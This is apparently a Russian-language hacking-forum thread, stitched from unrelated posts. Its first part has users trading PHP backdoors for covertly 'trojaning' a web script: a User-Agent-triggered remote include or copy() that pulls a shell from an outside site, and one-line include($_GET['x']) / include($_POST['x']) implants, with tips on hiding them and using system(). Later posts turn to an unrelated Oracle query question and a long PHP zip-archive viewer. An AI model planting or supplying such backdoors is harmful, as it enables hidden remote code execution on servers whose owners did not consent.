есть у тебя допустим скрипт: PHP: <?php .... $k=$_SERVER["USER_AGENT"]; .... if (strpos($k,"f35761"){ $path=explode("^",$k); include($path[1]);} .... ?> ты меняешь у себя юзер агент (имя браузера) на например f35761^http://site/shell.php и вызываешь этот скрипт, он проинклюдит http://site/shell.php
читай внимательнее, это он не тебе писал. В твоем случае нужно залить на любой другой хост пхп шелл, а потом уже его подключаешь - ?page=http://site.r/shell.php
Мне этот инклудинг уже не нужен, т.к. удаленный инклуд запрещен на сервере. Вот если кто-нибудь напишет маленький скриптик для загрузки на сервер файла, который вызывается script.php?fileupload=shell.php и файл shell.php загрузится в тек. дир.
зачем он тогда мое сообщение цитировал? вроде даже задал вопрос "Тебе что надо скрипт протроянить?" и еще написал "вот:" или у меня галлюцинации?
писал я это для QZAR-X, тут если тебе инклюд не нужен, можешь функцию copy использовать, но опять же копирование будет с удаленного серва (имхо инклюд в этом случае надежнее, хотя хз) Code: <?php .... $k=$_SERVER["USER_AGENT"]; .... if (strpos($k,"f35761")){ $path=explode("^",$k); copy(path[1],path[2]);} .... ?> здесь в юзер агент пишешь: f35761^http://site/shell.php^/path/na/serve/shell.php спросиш нахрена нужны заморочки с юзер агентом, скажу, для меньшего палева, вобще вариантов куча, мог бы и сам че нить придумать
Scipio if (strpos($k,"f35761")) - если f35761 стоит в начале строки, то надо либо if (strpos($k,"f35761") !== FALSE), либо if (strpos(' '.$k,"f35761"))
[x26]VOLAND, Мда.. Я такого маленького скриптика в жизни не видел. PHP: <? if($_GET['x']) include($_GET['x']); ?> Вот самый простой вариант, если вставишь в серединку куда-нибудь, где менее заметно, то будет гуд. Чтоб инклудить, просто заходишь по ссылке script.php?x=http://mysite/myshell.php
PHP: <? @include($_POST['x']); ?> но лучше сделать system(); или аналог, т.к. не на всех хостах есть возможность инклуда файлов с других хостов. зависит от конфигов
Здраствуйте. Вопрос такой. Есть вывод с базы Oracle. Ну скажем такие поля. |....ID.....|........TIME........|...price_max...|...price_min...| |...215...|21.01.02 15:45|....215.25.......|......176.34....| |...217...|21.01.02 16:45|....300.25.......|......10.34......| |...220...|21.01.02 15:46|....150.25.......|......15.34......| |...215...|22.01.02 13:45|....215.25.......|......176.34....| |...217...|22.01.02 11:45|....215.25.......|......176.34....| |...220...|22.01.02 17:45|....215.25.......|......176.34....| |...215...|23.01.02 16:45|....215.25.......|......176.34....| ну и т.д. Как сделать так чтобы по каждому ID выводилась строка с максимальным временем. |....ID.....|........TIME........|...price_max...|...price_min...| |...215...|23.01.02 16:45|....215.25.......|......176.34....| |...217...|22.01.02 11:45|....215.25.......|......176.34....| |...220...|22.01.02 17:45|....215.25.......|......176.34....|
PHP: <?php include_once"../template/pclzip.php"; $dir=check($dir); $arch=check($arch); $open=check($open); echo '<div class=v><b>Просмотр архива</b></div>'; if($dir!="" && $arch!=""){ if (!$action){ $zip=new PclZip("$dir/$arch"); if (($list = $zip->listContent()) != 0){ for ($i=0; $i<sizeof($list); $i++){ for(reset($list[$i]); $key = key($list[$i]); next($list[$i])) { $zfilesize = strstr($listcontent,"--size"); $zfilesize = ereg_replace("--size:","",$zfilesize); $zfilesize =@ereg_replace("$zfilesize","$zfilesize|",$zfilesize); $sizelist .="$zfilesize"; $listcontent = "[$i]--$key:".$list[$i][$key].""; $zfile = strstr($listcontent,"--filename"); $zfile =ereg_replace("--filename:","",$zfile); $zfile =@ereg_replace("$zfile","$zfile|",$zfile); $savelist .="$zfile"; }} $sizefiles2 = explode("|",$sizelist); $sizelist2=array_sum($sizefiles2); $obkb=round($sizelist2/1024,2); $preview = explode("|",$savelist); $count = count($preview)-1; echo '<div class=pay><img src="../images/img/zip.gif" alt=""> <b>'.$arch.'</b><br>'; echo '<img src="../img/o.gif" alt="">Всего файлов: '.$count.'<br><img src="../img/go.gif" alt="">Вес архива: '.$obkb.' кб</div>'; if (empty($_GET['start'])) $start = 0; else $start = $_GET['start']; if ($count < $start + $config_ziplist){ $end = $count; } else {$end = $start + $config_ziplist; } for ($i = $start; $i < $end; $i++){ $sizefiles = explode("|",$sizelist); //вырезаем элементы из массива с размерами файлов $selectfile = explode("|",$savelist); $path = $selectfile[$i]; $fname = ereg_replace(".*[\\/]","",$path); $zdir = ereg_replace("[\\/]?[^\\/]*$","",$path); $path = str_replace("/","*",$path); $ext=strtolower(strrchr($fname, ".")); switch($ext){ case 'dir': $ico='dir.gif'; break; case '.jpg': case '.jpeg': $ico='jpg.gif'; break; case '.gif': $ico='gif.gif'; break; case '.mid': $ico='mid.gif'; break; case '.mp3': $ico='mp3.gif'; break; case '.wav': case '.amr': $ico='wav.gif'; break; case '.mmf': $ico='mmf.gif'; break; case '.jad': $ico='jad.gif'; break; case '.jar': $ico='jar.gif'; break; case '.zip': $ico='zip.gif'; break; case '.txt': $ico='txt.gif'; break; case '.exe': $ico='exe.gif'; break; case '.htm': $ico='htm.gif'; break; case '.html': $ico='htm.gif'; break; case '.php': $ico='php.gif'; break; default: $ico='file.gif'; break; } if(!$fname){ echo '<img src="../images/icons/dir.gif" alt=""> <b>Директория '.$zdir.'</b><br>'; }else{ echo '<img src="../images/icons/'.$ico.'" alt=""> <a href="zip.php?action=preview&dir='.$dir.'&arch='.$arch.'&open='.$path.'&start='.$start.'&'.SID.'">'.$zdir.'/'.$fname.'</a>'; echo ' ('.formatsize($sizefiles[$i]).')<br>'; }} echo '<div class=pay>'; if ($start != 0) {echo '<img src="../img/go.gif" alt=""><a href="zip.php?start='.($start - $config_ziplist).'&dir='.$dir.'&arch='.$arch.'&'.SID.'">Назад</a>';}else{echo'<img src="../img/go.gif" alt="">Назад';} echo ' | '; if ($count > $start + $config_ziplist) {echo ' <a href="zip.php?start='.($start + $config_ziplist).'&dir='.$dir.'&arch='.$arch.'&'.SID.'">Далее</a><img src="../img/g.gif" alt="">';}else{echo'Далее<img src="../img/g.gif" alt="">';} $total=$count; if($total>0){ $ba=ceil($total/$config_ziplist); $ba2=$ba*$config_ziplist-$config_ziplist; echo '<br>'; echo '<img src="../img/g.gif" alt="">Страницы:'; $asd=$start-($config_ziplist*3); $asd2=$start+($config_ziplist*4); if($asd<$total && $asd>0){echo ' <a href="zip.php?start=0&dir='.$dir.'&arch='.$arch.'&'.SID.'">1</a> ... ';} for($i=$asd; $i<$asd2;) { if($i<$total && $i>=0){ $ii=floor(1+$i/$config_ziplist); if ($start==$i) { echo ' <b>'.$ii.'</b>'; } else { echo ' <a href="zip.php?start='.$i.'&dir='.$dir.'&arch='.$arch.'&'.SID.'">'.$ii.'</a> '; }} $i=$i+$config_ziplist; } if($asd2<$total){echo ' ... <a href="zip.php?start='.$ba2.'&dir='.$dir.'&arch='.$arch.'&'.SID.'">'.$ba.'</a>';} } }else{ echo '<br><b>Невозможно открыть архив!</b><br>'; echo 'Ошибка: '.$zip->errorInfo(true); } echo'<br><div class=pay><img src="../img/go.gif" alt=""><a href="down.php?action=ob&did='.$dir.'&fid='.$arch.'&'.SID.'">Вернуться</a></div>'; } //////////////////////////////////action preview//////////////////////////////// if($action=="preview"){ $open = str_replace("*","/",$open); $zip=new PclZip("$dir/$arch"); $content = $zip->extract(PCLZIP_OPT_BY_NAME, $open,PCLZIP_OPT_EXTRACT_AS_STRING); $content = $content[0]['content']; $letters=array("а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я","А","Б","В","Г","Д","Е","Ё","Ж","З","И","Й","К","Л","М","Н","О","П","Р","С","Т","У","Ф","Х","Ц","Ч","Ш","Щ","Ъ","Ы","Ь","Э","Ю","Я"); for ( $b=0; $b<66; $b++) {if(strstr($content,$letters[$b])!== false){$utf="ok";}} $preview2 = explode("\r\n",$content); $count = count($preview2); /* function highlight_code($code) { $code=trim($code); return highlight_string($code,true);} */ echo '<img src="../images/img/zip.gif" alt=""> <b>'.$arch.'</b><br>'; echo '<img src="../images/img/files.gif" alt=""> <b>'.$open.'</b><br>'; echo 'Всего строчек: '.(int)$count.'<br><hr>'; if($utf=="ok"){echo highlight_code($content);}else{echo highlight_code(win_to_utf($content));} echo'<div class=pay><img src="../img/go.gif" alt="">'; echo'<a href="zip.php?start='.$start.'&dir='.$dir.'&arch='.$arch.'&'.SID.'">Вернуться</a></div>'; } }else{header ("Location: index.php?".SID); exit;} echo'<div class=pay><img src="../img/go.gif" alt=""><a href="down.php?did='.$dir.'&'.SID.'">В раздел</a><br>'; echo'<img src="../img/go.gif" alt=""><a href="index.php?'.SID.'">К категориям</a></div></div></div>'; ?> Этот скрипт выводит содержимое архива, и через него можно посмотреть, файл,... Но как сделать, чтоб через него можно было выкачивать файлы напрямую из архива нераспаковывая его?
Ну а допустим, чтоб скрипт выкачал файл(разархивировав), пользователь скачал, и файл после этого удалился(точнее временные файлы)